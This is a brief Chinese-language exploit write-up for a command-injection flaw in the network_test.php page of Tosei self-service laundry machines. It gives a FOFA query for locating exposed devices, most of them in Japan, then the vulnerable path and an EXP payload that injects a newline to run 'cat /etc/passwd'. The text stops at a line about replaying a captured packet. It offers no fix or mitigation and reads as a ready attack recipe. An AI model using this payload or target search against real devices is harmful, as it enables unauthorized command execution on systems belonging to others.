简介
Tosei 自助洗衣机是日本一家公司的产品,在 network_test.php 文件存在命令执行
漏洞复现
FOFA语法:
body="tosei_login_check.php"
主要是日本
访问界面如下所示:
验证POC:
/cgi-bin/network_test.php
拼接访问url: https://ip:port/cgi-bin/network_test.php
EXP:
host=%0acat${IFS}/etc/passwd%0a&command=ping
抓取数据包重放: